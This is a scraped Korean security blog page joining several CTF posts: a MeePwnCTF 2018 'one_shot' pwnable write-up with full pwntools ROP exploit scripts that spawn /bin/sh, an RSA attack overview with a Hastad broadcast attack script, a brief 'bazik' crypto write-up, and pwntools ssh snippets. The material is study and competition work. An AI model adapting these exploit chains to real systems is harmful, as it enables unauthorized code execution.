register_set_and_call_func   = 0x400820	# mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)

#set
payload += p64(pop_r12_15)
payload += p64(alarm_got)	# syscall set! r12=syscall_address & rbx=0 -> call qword [r12+rbx*8]
payload += p64(0)			# r13 -> rdx = 0
payload += p64(argv_addr)	# r14 -> rsi = argv_addr
payload += p64(copy_buffer_addr)	# r15 -> rdi = "/bin/sh\x00"
payload += p64(register_set_and_call_func)

log.info("payload_len : %x <= 0x234" % len(payload))

conn.send(payload)
conn.interactive()


위 파이썬 익스코드를 실행하면 로컬환경에 있는 flag를 획득할 수 있다.


*후기


처음에는 문제 이름이 one_shot이길래, oneshot_gadget을 사용하란건 줄 알았다. 그래서 leak을 하기 위해 엄청나게 많은 시간을 투자하였으나, 무리였음을 깨닫게되었다..


뭐 그래도 reverse shell을 CTF에서 사용하는 걸 본게 처음이라, 나중을 위한 큰 도움이 될거라 생각한다.


문제는 내 서버가 없어서, 다음에 이런 문제가 나오면 어디서 쉘을 받느냐는 것이지만 ㅡㅡ;

'Write-up > Pwnable' 카테고리의 다른 글

[WhiteHatWargame.vn] onechange  (0) 2018.08.13
[Codegate 2014] nuclear  (0) 2018.08.05
[MeePwnCTF 2018] one_shot (대회 당시 삽질한 글)  (0) 2018.07.26
[RCTF 2017] Recho  (0) 2018.07.10
[Defcon 2016 Quals] feedme  (0) 2018.07.09


몇일전에 있었던 MeePwnCTF에 나온 one_shot문제이다. 디스어셈블링해보면 프로그램 실행 후 

read함수로 사용자로부터 0x234만큼 받고, stdin, stdout, stderr 모두 close()로 닫아버린다.


이것때문에 평범하게 쉘을 못띄운다 ㅡㅡ; 

그래서 리버스쉘을 사용해야하는데... 나는 그것도 모르고 execve("/bin/sh", 0, 0)을 ROP로 실행시켰는데!!!

왜 쉘이 안띄워지는것이냐!! 하면서 미쳐버리는줄 알았다... 하;



strace로 추적해본 결과... execve("/bin/sh", 0, 0)가 실행되긴한다 ㅡㅡ; 그러나 stdin, stdout이 죽어버렸는데 뭘 할수 있을꼬...


어쨋든 그러한 것이고...

혹시나해서 one_shot파일을 patch하여 stdin,stdout이 닫히지않았을때는 과연 내 payload가 먹히는지 실험해보았다.



0,1,2를 닫게하는게 원래 코드인데, 대충 수정해서 0,1,2는 안닫히게 해보았다.



우왕... 너무 잘되는것... ㅂㄷㅂㄷ


다음 포스팅은 리버스쉘을 사용해서 flag를 획득하는 것을 해보겠다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python
from pwn import *
 
elf = ELF("./one_shot_patch")
conn = process("./one_shot_patch")
 
check = 0x8a919ff0
 
exit_got = 0x601038
alarm_plt = 0x400520 
 
rdi_store_and_plus4 = 0x400665    # mov     [rbp+var_18], rdi
mov_eax = 0x004006f7 # mov eax, dword [rbp-0x0C] ; pop rbx ; pop rbp ; ret  ;  (1 found)
store_bss = 0x40079C #       mov     [rbp-4], eax
 
pop_rbp = 0x00400774
pop_rdi = 0x00400843 #pop rdi ; ret  ;  (1 found)
ret = 0x0040085c
 
ecx_set = 0x04006D8 #   movsx   ecx, [rbp+var_1D]
 
#0x004004ea: add byte [rax-0x7B], cl ; sal byte [rdx+rax-0x01], 0xFFFFFFD0 ; add rsp, 0x08 ; ret  ;  (1 found)
add_raxad = 0x004004ea
 
### check pass & exit@got overwrite => ret
payload =  p32(check)
payload += "\x00"*0x7c + p64(elf.bss()+200+0x18)
payload += p64(pop_rdi)
payload += p64(ret)
payload += p64(rdi_store_and_plus4)
payload += p64(0xdeadbeef)
payload += p64(elf.bss()+200+0x0c)
payload += p64(mov_eax)
payload += p64(0xdeadbeef)
payload += p64(exit_got + 0x4)
payload += p64(store_bss)
 
###make syscall
payload += p64(pop_rbp)
payload += p64(elf.bss()+0xF0+0x18)
payload += p64(pop_rdi)
payload += p64(0x60110e)
payload += p64(rdi_store_and_plus4)
 
payload += p64(pop_rbp)
payload += p64(elf.bss()+0x110+0x18)
payload += p64(pop_rdi)
payload += p64(elf.got['read']+0x7B)
payload += p64(rdi_store_and_plus4)
 
payload += p64(pop_rbp)
payload += p64(elf.bss()+0xF0+0x1D)
payload += p64(ecx_set)
payload += p64(0xdeadbeef)
payload += p64(elf.bss()+0x110+0x0c)
payload += p64(mov_eax)
payload += p64(0# ebx
payload += p64(elf.bss()+0x40+0x4#tmp
payload += p64(add_raxad)
payload += p64(0xdeadbeef)
#now close is syscall!
 
binsh00 = "\x2f\x62\x69\x6e\x2f\x73\x68\x00"
 
payload += p64(pop_rdi)
payload += binsh00
payload += p64(alarm_plt)
payload += p64(alarm_plt)
payload += p64(store_bss)
payload += p64(pop_rbp)
payload += p64(elf.bss()+0x44+0x4)
payload += p64(pop_rdi)
payload += binsh00[4:]+"\x00\x00\x00\x00"
payload += p64(alarm_plt)
payload += p64(alarm_plt)
payload += p64(store_bss)
 
pop_r12_15 = 0x0040083c #0x0040083c: pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
mov_rdx = 0x00400820    #mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
 
payload += p64(pop_rdi)
payload += p64(59)
payload += p64(alarm_plt)
payload += p64(alarm_plt)
payload += p64(pop_rbp)
payload += p64(1)
payload += p64(pop_r12_15)
payload += p64(elf.got['read'])
payload += p64(0)
payload += p64(0)
payload += p64(elf.bss()+0x40)
payload += p64(mov_rdx)
 
log.info("payload_len : %d <= 564" % len(payload))
 
conn.send(payload)
conn.interactive()
cs






 

'Write-up > Pwnable' 카테고리의 다른 글

[Codegate 2014] nuclear  (0) 2018.08.05
[MeePwnCTF 2018] one_shot writeup  (0) 2018.07.26
[RCTF 2017] Recho  (0) 2018.07.10
[Defcon 2016 Quals] feedme  (0) 2018.07.09
[34C3 CTF 2017] readme_revenge  (0) 2018.07.02

RSA 공격법

2018. 7. 25. 13:19

RSA 공격법에 대해 한번도 정리해놓은적이 없어서... CTF 문제로 RSA가 나올때마다 헤매게 되어서 한번 정리해두는게 좋을 것 같다는 생각이 들어서 이렇게 정리하게 되었다.


공격법에는 여러가지가 있는데, 일단 대충 정리하면 아래와 같다.


Sage : https://sagecell.sagemath.org/

http://sage.skku.edu/

http://matrix.skku.ac.kr/sage/



▶ 개인키 유출

p,q,ϕ(n),d 중 단 하나만이라도 노출된다면 나머지 키들을 취득할 수 있다.


이건 당연한 것이, 원래 n=pq에서 n을 구하고 나면 p,q는 파기되어야하나, 이 p,q를 구할 수 있다면 역으로 모두 다 구할 수 있게된다.

확장된 유클리드 호제법이나 유클리드 호제법을 사용하면 간단.




▶ 소인수분해

n을 소인수분해할 수 있다면 위의 개인키 유출과 같다.

아래는 소인수분해 DB로 DB에 이미 등록되있는 소인수분해값이라면 찾아서 알려준다.


FatorDB : http://factordb.com/    


ECM : https://www.alpertron.com.ar/ECM.HTM



▶ 선택 암호문 공격(Chosen Ciphertext Attack)

줄여서 CCA라고 부른다. RSA가 갖는 "곱셈에 대한 준동형사상 (Homomorphism) 성질"을 이용한 공격이라고 한다.

RSA 같은 키로 생성된 서로 다른 암호문 두 개를 곱하면, 평문 두개의 곱을 암호화한 것과 그 결과가 같다.



Textbook RSA에서 많이 쓰이는 공격법이다. (Textbook RSA와 일반 RSA 차이)

Textbook RSA에서는 메세지의 서명과 그 확인에 많이 쓰이기 때문에, 이를 이용해서 내가 서명하지않은 메세지의 평문또한 복구가능하다.

말로만으로는 어려우므로 밑에 수식으로 다시 표현하겠다. (https://asecuritysite.com/encryption/c_c)



여기서 우리는 C를 알고 있고, 임의로 r^e를 만들어 C'를 만들고 C'에 대한 서명(d)을 할 수 있다. 

그렇다면 우리가 얻게 되는 값은 평문 M*r 이 되고, r은 우리가 만든 값이므로 M을 구할 수 있다.





 순환 공격(Cyclic Attack)

평문이 나올 때까지, 암호문을 계속해서 암호화하는 공격이다. 이 공격은 결국 암호문을 해독하지만 소인수분해와 동일한 복잡도를 가진다.

RSA는 모듈러 연산을 사용하기 때문에 평문 집합과 암호문 집합이 동일하다.
예) mod 4를 사용하는 경우 평문 집합 {1, 2, 3} , 암호문 집합 {1, 2, 3}
암호문은 평문에 대해 1:1 대응이기 때문에 평문에 대한 암호문은 반드시 존재한다.
그러므로 계속 암호화하다보면 언젠가는 다시 평문이 나오게 되어있다.
하지만 n은 보통 굉장히 크므로... 현실적으로는 불가능하다.


 잘못된 암호화 공격(Faulty Encryption)
공격자 Malory가 Alice와 Bob이 사용하는 통신 채널에 접속할 수 있다면 Malory는 전송되는 모든 것을 들을 수 있고 전송되는 것을 변경할 수도 있다.
Alice는 개인적으로 Bob에게 말하기를 원하지만 공개키를 알지 못한다. Alice는 Bob에게 메일을 보내 공개키를 요청한다.
그러나 전송 중에 Malory는 Alice의 공개키를 볼 수 있고 Bob의 공개 지수에서 (e, n)을 (e', n)으로 변경한다.

Alice는 잘못된 키를 받고, 준비된 메시지를 암호화하여 Bob에게 보냅니다. (Malory도 가져옵니다). 물론 잘못된 키가 사용 되었기 때문에 Bob은 해독 할 수 없습니다. 그래서 그는 Alice에게 이를 알리고 Bob이 자신의 공개키를 다시 보내는 것으로 시작하여 다시 시도하기로 동의합니다. 
이번에 Malory는 방해하지 않는다. Alice가 메시지를 다시 보내고 이번에는 올바른 공개 키로 암호화합니다.

Malory에는 이제 두 개의 암호문이 있습니다. 하나는 오류 지수로 암호화되고 다른 하나는 올바른 암호문으로 암호화됩니다. 
이제 공격자 Malory는 모듈러 N과 공개지수 e를 모두 알고 있습니다. 따라서 Alice가 두 암호문 모두 정확히 암호화했다고 가정할 때
이제 우리는 Common Modulus Attack 을 사용할 수 있습니다.



 유사소수

간단히 말해 n이 유사소수이면 소인수분해하기 쉽다는 것이다. 링크로 대체


Fermat factorization 공격

페르마소수(Fermat number)를 사용하게 되면 소인수분해가 매우 쉬워져서, N을 소인수분해하는데 걸리는 시간이 매우 짧아

p,q를 알 수 있고, 개인키를 얻을 수 있다.

예) [MeepwnCTF 2018] Old School (Fermat's factorization attack)

예) https://ctftime.org/task/6295

https://xerxes-break.tistory.com/397?category=679888

위 롸업에서 PLUS팀이 part1에서 페르마소수 인수분해 사용

(p/q의 값이 1에 근사하면 주어진 RSA 암호화 방식은 Fermat factorization 공격에 취약)

=> https://xerxes-break.tistory.com/450






 p-1 공격, 이차 체

 링크로 대체




 개인키 부분 취득

간단히 설명하면, 개인키의 일부분만 찾을 수 있어도 RSA를 털 수 있다는 뜻

이런 문제가 나온다면 공부하게 되겠지




 부채널 공격
(1) 시간차 공격(Timing Attack)
(2) 전력차 공격(Power Analysis Attack) 

부채널 분석(Side-Channel Analysis) 또는 부채널 공격(Side-Channel Attack)이란 과거 암호 해독 기법과는 달리 암호 연산 수행 시 장비에서 발생되는 전력 또는 전자파와 같은 정보를 이용해 비밀키를 찾는 방법이다. 
일반적으로 시간공격 (TA, Timing Attack), 전자기누출공격 (EMA, ElectroMagnetic emission Attack) 그리고 전력분석 공격(PA, Power analysis Attack) 등으로 나눌 수 있으며, 수집한 전력 또는 전자파의 일반적인 특성 또는 통계적인 분석기법을 활용한다. 
특히, 전력분석 공격은 하드웨어에서 ‘0’, ‘1’을 처리하는 소비되는 전력이 서로 다르다는 점을 이용하여, 장비에서 암호 알고리즘이 실행되는 동안의 소비 전력을 분석해 비밀키에 대한 정보를 얻어 내는 방법이다. 
이는단순 전력 분석(SPA, Simple Power Analysis), 차분 전력 분석(DPA, Differential Power Analysis) 및 상관 전력분석(CPA, Correlation Power Analysis) 등으로 나뉜다.

예시) 2016 암호경진대회 6번
공격자 Malory가 Alice와 Bob이 사용하는 통신 채널에 접속할 수 있다면 Malory는 전송되는 모든 것을 들을 수 있고 전송되는 것을 변경할 수도 있다.




 낮은 지수 공격(Low Exponent Attack)

공개키 e의 값이 매우 작을 때 사용하는 공격법 - 출처(https://en.wikipedia.org/wiki/Coppersmith%27s_attack)


컴퓨터 모듈러 연산의 속도를 위하여 e값으로 페르마 소수 F0, F2, F4를 사용하는 경우가 많다. 

e값이 작고 평문의 길이가 매우 짧을 경우, 보통 n의 값이 매우 크기 때문에 암호문 C가 모듈러 연산에 걸리지않거나 몇 번걸리지않는 경우가 있다. 

그래서 이 경우 C값을 그냥 e 거듭제곱근을 구해서 평문을 복호화해 낼 수가 있다.

예) [UIUCTF 2018] Hastad

ex) 공격법 python의 gmpy모듈을 이용


import gmpy를 하면 result, bool = gmpy.root( num, k)를 쓸수가 있는데; 
이게 num를 k제곱근한 값을 result에 저장하고 bool에 성공여부를 0과 1로 저장한다.

import gmpy2, gmpy2.root도 있다.




위 예시의 문제의 출제의도는 Hastad Attack이였으나, N값이 C값에 비해 매우 크고, e=3이였기 때문에 세제곱근을 구하는 것을 통해 평문을 그냥 복구할 수 있었다.




 위너 공격(Wiener's attack)

앞서 이야기한 낮은 지수 공격과 비슷한 느낌의 공격으로 Wiener's attack이 있다. - https://en.wikipedia.org/wiki/Wiener%27s_attack


Let  with . Let .
Given  with , the attacker can efficiently recover .


간단하게 위와 같다. 즉, 개인키 d가 작다면 이를 쉽게 복구할 수 있다는 것이다.

예시로는 PlaidCTF 2015 RSA 문제나 검색해보면 꽤 많은 문제들이 나온다.




 Common Modulus Attack

공격자가 두 수신자의 동일한 메시지 m의 두 암호문 c1, c2 와 수신자의 공개키 e1, e2가 서로소임을 알고 있다.





 하스타드 공격 (Hastad's Broadcast Attack)

Coppersmith 정리를 이용한 첫 번째 응용, Hastad가 제안했던 알고리즘을 개선한 내용

Bob은 평문 M을 암호화하여 P1,P2,…,Pk 라고 하는 여러명에게 동시에 전송한다.

각 P은 각기 RSA 공개키를 갖고있다. 그리고 평문M이 모든 Ni보다 작다고 하자. 

이런 상황에서 Oscar는 Bob이 모르게 이들의 통신을 도청할 수 있고, k개의 암호문을 가로 챌 수 있다. 

편의상, 모든 공개키 ei가 3이라고 하자. 이 경우, k≥3이면, Oscar는 암호문으로부터 평문 M을 복호화 할 수 있다. 

즉, Oscar가 세 개의 암호문 C1,C2,C3를 얻었다고 하자. 여기서, C1=M^3 modN1, C2=M^3 modN2, C3=M^3 modN3 이다. 

그리고, Oscar가 Ni를 소인수 분해하지 못하게 하기 위해, 서로 다른 i, j 에 대해 gcd(Ni,Nj)=1라고 가정할 수 있다. 

그러면, CRT을 이용해, C'=M^3 modN1N2N3을 만족하는 원소 C'를 구할 수 있다. 가정에서 M이 모든 Ni보다 작다고 했기 때문에 M^3 < N1N2N3이고 따라서 C'=M3 이 성립한다. 따라서, Oscar는 C'의 삼제곱근을 실수에서 연산하면, M을 얻을 수 있다. 일반적으로, 모든 공개키(public exponent) ei가 같다고 하고 "k≥ei" 이기만 하면 Oscar는 평문 M을 복호화할 수 있다. 이 공격법은 공개키 e가 작은 경우에 한한다. 


정리:

  • e=3, {n1, n2, n3}에 대해 동일한 평문 M을 3개 전송하였을 때

  • c1, c2, c3가 존재한다. (각각 (n1,e), (n2,e), (n3,e)로 암호화) 

  • 중국인의 나머지정리(CRT)를 이용하여 c^t == x (mod n1n2n3)를 계산

  • m^3 < n1n2n3 이기 때문에 c^t=m^3

예시)

[UIUCTF 2018] Hastad

2016 국가암호공모전 II-A 분야 1번문제


공격 python 코드


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import gmpy2
gmpy2.get_context().precision = 4096
 
from binascii import unhexlify
from functools import reduce
from gmpy2 import root
import gmpy
 
# Hastad's Broadcast Attack
# https://id0-rsa.pub/problem/11/
 
# Resources
# https://en.wikipedia.org/wiki/Coppersmith%27s_Attack
# https://github.com/sigh/Python-Math/blob/master/ntheory.py
 
EXPONENT = 3
 
CIPHERTEXT_1 = "ciphertext.1"
CIPHERTEXT_2 = "ciphertext.2"
CIPHERTEXT_3 = "ciphertext.3"
 
MODULUS_1 = "modulus.1"
MODULUS_2 = "modulus.2"
MODULUS_3 = "modulus.3"
 
 
def chinese_remainder_theorem(items):
    # Determine N, the product of all n_i
    N = 1
    for a, n in items:
        N *= n
 
    # Find the solution (mod N)
    result = 0
    for a, n in items:
        m = N // n
        r, s, d = extended_gcd(n, m)
        if d != 1:
            raise "Input not pairwise co-prime"
        result += a * s * m
 
    # Make sure we return the canonical solution.
    return result % N
 
 
def extended_gcd(a, b):
    x, y = 01
    lastx, lasty = 10
 
    while b:
        a, (q, b) = b, divmod(a, b)
        x, lastx = lastx - q * x, x
        y, lasty = lasty - q * y, y
 
    return (lastx, lasty, a)
 
 
def mul_inv(a, b):
    b0 = b
    x0, x1 = 01
    if b == 1:
        return 1
    while a > 1:
        q = a // b
        a, b = b, a % b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0:
        x1 += b0
    return x1
 
 
def get_value(filename):
    with open(filename) as f:
        value = f.readline()
    return int(value, 16)
 
if __name__ == '__main__':
    C1 = get_value(CIPHERTEXT_1)
    C2 = get_value(CIPHERTEXT_2)
    C3 = get_value(CIPHERTEXT_3)
    ciphertexts = [C1, C2, C3]
 
    N1 = get_value(MODULUS_1)
    N2 = get_value(MODULUS_2)
    N3 = get_value(MODULUS_3)
    modulus = [N1, N2, N3]
    
    C_M = [(c,m) for c,m in zip(cipher, modulus)]
 
    C = chinese_remainder_theorem(C_M)
    M = int(root(C, 3))
 
    M = hex(M)[2:]
    print(unhexlify(M).decode('utf-8'))
cs


원본 : https://github.com/aaossa/Computer-Security-Algorithms/blob/master/11%20-%20H%C3%A5stad's%20Broadcast%20Attack/hastads-broadcast-attack.py#L7



 LSB Oracle Attack

CTF에 의외로 자주나오는 유형. 평문을 encrypt한 lsb값을 출력하는 oracle이 있을때

이 방법을 이용해서 문제를 풀 수 있다.

ex) 

https://xerxes-break.tistory.com/448

https://xerxes-break.tistory.com/449




 Coppersmith’s attack

자세한 내용 - 원문 - https://en.wikipedia.org/wiki/Coppersmith%27s_attack

Franklin-Reiter related-message attack

Coppersmith’s short-pad attack


참고할만한 블로그 글 - https://www.cryptologie.net/article/222/implementation-of-coppersmith-attack-rsa-attack-using-lattice-reductions/

Stereotyped messages

For example if you know the most significant bits of the message. You can find the rest of the message with this method.

The usual RSA model is this one: you have a ciphertext c a modulus N and a public exponent e. Find m such that m^e = c mod N.

Now, this is the relaxed model we can solve: you have c = (m + x)^e, you know a part of the message, m, but you don't know x. For example the message is always something like "the password today is: [password]". Coppersmith says that if you are looking for N^1/e of the message it is then a small root and you should be able to find it pretty quickly.


간단히 말하면, e가 매우 작고 (e=3정도) 평문 메세지 M을 알고 있고, 그 M의 뒷부분이 아주 조금 변하는 정도라면 이 공격을 통해 M을 구할 수 있다는 공격이다. 


예시문제 : 

[MeePwnCTF 2018] bazik




 오류 주입 공격(몽고메리알고리즘[Montgomery Ladder])

Montgomery Ladder 지수승 알고리즘을 이용하여 서명(S=m^d mod N)가 수행되는 동안 오류 주입 공격을 통해 오류가 여러개의 서명 값을 이용하여 비밀키 d를 복구하는 것.



Copper

https://asecuritysite.com/encryption/copper

https://medium.com/asecuritysite-when-bob-met-alice/so-what-was-the-problem-with-the-estonian-id-system-and-tpms-1ef02a9bde7f


[Back] With the ROCA (Return of the Coppersmith Attack) vulnerability an RSA private key can be recovered from the knowledge of the public key [article]. It has the CVE identifier of CVE-2017-15361. The vulnerability related to the Infineon RSA library on the Infineon Trusted Platform Module (TPM) firmware. It affected BitLocker with TPM 1.2 and YubiKey 4. In this case we calculate the prime number with Prime=k×M+(65537amodM):




'Crypto' 카테고리의 다른 글

Breaking_XOR_Cipher  (0) 2018.08.03
Zip Crack Password! rockyou  (0) 2018.07.30
xortool 사용하기  (0) 2018.07.03
크립토 공부 사이트  (0) 2018.04.09
마타하리 암호  (0) 2017.10.16

[MeePwnCTF 2018] bazik

2018. 7. 25. 02:30

저번주에 하도 바빠서...(핑계지만??? 핑계다.)


MeePwnCTF를 끝내고 나서 다시 한번 문제를 살펴보는게 힘들었다...

그래서 이번 주말에 고향내려갔다가 조~~금 여유가 생겨서 다시 보게 되어서 이렇게 포스팅을 쓴다!



basic challenge라고 한다.


basic이라기에, 굉장히 쉬운 crypto 문제일 줄 알았지만;;

분석이 부족하였고, 포너블문제에 정신이 팔려있어서;; 끝나고 나서 writeup을 보고 다시한번 풀어보려고 한다.


문제서버가 아직도 열려있어서 다시 한번 풀어볼 수 있었다.


먼저 문제서버에 접속하면 아래와 같다.





Test the OTP를 선택하면

otp값과 encrypted dat와 그 decrypted dat인 평문을 주는데, 평문 형식은 "Your OTP for transaction #731337 in ABCXYZ Bank is XXXXXXXX" 형식이다.


그래서 평문이 조금씩 바뀌므로 Coppersmith’s attack 중 Stereotyped Messages Attack로 풀 수 있다.

관련 wrtieup은 여기에 있다.


Writeup : https://ctftime.org/task/6293


직접해보려다가 귀찮아서 포기하였다 ㅎㅎ;;

p4 팀은 Stereotyped Messages Attack으로 풀었고, PLUS팀은 e값이 작고 평문의 길이가 짧기때문에 암호문에 n을 계속 더하여 세제곱근이 나올때까지하여, 세제곱근이 나오면 정답이다! 라는 식으로 풀었다... 매우 브루트포싱...




sage 사용 : http://math3.skku.ac.kr/home/myriabreak/







'Write-up > Crypto' 카테고리의 다른 글

[ISITDTU 2018] Simple RSA Write-up  (0) 2018.07.30
[ISITDTU 2018] Baby Write-up  (0) 2018.07.30
[MeePwnCTF 2018] esor (easy)  (0) 2018.07.16
[MeePwnCTF 2018] esor (hard)  (0) 2018.07.16
[MeePwnCTF 2018] ezchallz  (0) 2018.07.16
1
2
3
= ssh(user='myria',host='sherlock.myria.break',port=1234,password='asdf')
= s.process("./binary")
cs

위와 같이 하면 ssh서버에서 process로 바이너리 실행해서 exploit할 수 있다.



1
2
= ssh(user='myria',host='sherlock.myria.break',port=1234,password='asdf')
conn = s.connect_remote('localhost'1235)
cs


remote접속도 마찬가지로 저렇게 가능.




ssh()의 경우에는 말 그대로 ssh 리모트 연결을 해주는 함수인데, 포트와 패스워드는 디폴트값으로 22와 guest가 설정되어 있다.

ssh로 연결해줄때, 유저네임과 호스트명은 필수지만 포트와 패스워드는 필수가 아니다. 하지만 원하는 연결을 하기 위해서는 이 두 가지도 설정


그리고 배열을 통해 whoami등의 명령의 결과를 알아낼 올 수 있는데

이는 ssh연결을 하는 순간, 리스트에 있는 명령어들의 결과를 배열로 저장해서 필요에따라 보여주는 것

또한 run()을 이용해서 /bin/sh 등과 같은 프로그램을 리모트에서 실행하는 것도 가능하며 sendline()으로 커맨드를 실행하는 것도 가능.


1
2
3
4
5
6
7
8
9
10
11
from pwn import *
 
shell = ssh("fd""pwnable.kr", port=2222, password="guest")
print(shell['whoami'])
 
sh = shell.run('/bin/sh')
sh.sendline("echo test")
 
print(sh.recvline(timeout=3))
 
shell.close()
cs


+ Recent posts